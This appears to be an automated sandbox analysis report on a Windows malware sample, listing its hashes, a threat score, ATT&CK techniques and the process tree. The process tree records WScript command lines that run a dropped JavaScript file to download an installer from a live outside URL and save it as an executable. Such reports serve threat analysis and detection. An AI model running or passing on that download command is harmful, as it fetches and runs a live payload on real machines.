55db57f5af941167cd62ae131bc061678a5d08de67b010fd303c4cc86dc947d3

General

Target
9cabb7d2c4947fb04c827834a44c7263_JaffaCakes118.exe
Size 184KB
Sample240611-cjbktazeqc
SHA256 55db57f5af941167cd62ae131bc061678a5d08de67b010fd303c4cc86dc947d3
MD5 9cabb7d2c4947fb04c827834a44c7263
SHA1 ee8c6689b8ccf4c26205266ddce78fc7372df18f
SHA512 31c32ad492111cc88ff666cc7213de7880e388ebd44b1660287f7964f6af1bdec2136ce527fe34e9afe9825baaae27fd626072f1380c3fc5974f508a9fda9209
SSDEEP 3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3X:/7BSH8zUB+nGESaaRvoB7FJNndnK
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
5	4780	WScript.exe
21	1752	WScript.exe
26	4760	WScript.exe
43	2568	WScript.exe
45	844	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation	9cabb7d2c4947fb04c827834a44c7263_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000_Classes\Local Settings	9cabb7d2c4947fb04c827834a44c7263_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2804 wrote to memory of 4780	2804	9cabb7d2c4947fb04c827834a44c7263_JaffaCakes118.exe	81
PID 2804 wrote to memory of 4780	2804	9cabb7d2c4947fb04c827834a44c7263_JaffaCakes118.exe	81
PID 2804 wrote to memory of 4780	2804	9cabb7d2c4947fb04c827834a44c7263_JaffaCakes118.exe	81
PID 2804 wrote to memory of 1752	2804	9cabb7d2c4947fb04c827834a44c7263_JaffaCakes118.exe	82
PID 2804 wrote to memory of 1752	2804	9cabb7d2c4947fb04c827834a44c7263_JaffaCakes118.exe	82
PID 2804 wrote to memory of 1752	2804	9cabb7d2c4947fb04c827834a44c7263_JaffaCakes118.exe	82
PID 2804 wrote to memory of 4760	2804	9cabb7d2c4947fb04c827834a44c7263_JaffaCakes118.exe	90
PID 2804 wrote to memory of 4760	2804	9cabb7d2c4947fb04c827834a44c7263_JaffaCakes118.exe	90
PID 2804 wrote to memory of 4760	2804	9cabb7d2c4947fb04c827834a44c7263_JaffaCakes118.exe	90
PID 2804 wrote to memory of 2568	2804	9cabb7d2c4947fb04c827834a44c7263_JaffaCakes118.exe	92
PID 2804 wrote to memory of 2568	2804	9cabb7d2c4947fb04c827834a44c7263_JaffaCakes118.exe	92
PID 2804 wrote to memory of 2568	2804	9cabb7d2c4947fb04c827834a44c7263_JaffaCakes118.exe	92
PID 2804 wrote to memory of 844	2804	9cabb7d2c4947fb04c827834a44c7263_JaffaCakes118.exe	93
PID 2804 wrote to memory of 844	2804	9cabb7d2c4947fb04c827834a44c7263_JaffaCakes118.exe	93
PID 2804 wrote to memory of 844	2804	9cabb7d2c4947fb04c827834a44c7263_JaffaCakes118.exe	93

C:\Users\Admin\AppData\Local\Temp\9cabb7d2c4947fb04c827834a44c7263_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\9cabb7d2c4947fb04c827834a44c7263_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2804
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf39CD.js" http://www.djapp.info/?domain=ChDmKLaiyZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf39CD.exe
  2⤵
  - Blocklisted process makes network request
  PID:4780
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf39CD.js" http://www.djapp.info/?domain=ChDmKLaiyZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf39CD.exe
  2⤵
  - Blocklisted process makes network request
  PID:1752
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf39CD.js" http://www.djapp.info/?domain=ChDmKLaiyZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf39CD.exe
  2⤵
  - Blocklisted process makes network request
  PID:4760
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf39CD.js" http://www.djapp.info/?domain=ChDmKLaiyZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf39CD.exe
  2⤵
  - Blocklisted process makes network request
  PID:2568
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf39CD.js" http://www.djapp.info/?domain=ChDmKLaiyZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf39CD.exe
  2⤵
  - Blocklisted process makes network request
  PID:844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

fuf39CD.js

Path C:\Users\Admin\AppData\Local\Temp\fuf39CD.js
Size 3KB
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
MD5 SHA1 SHA512

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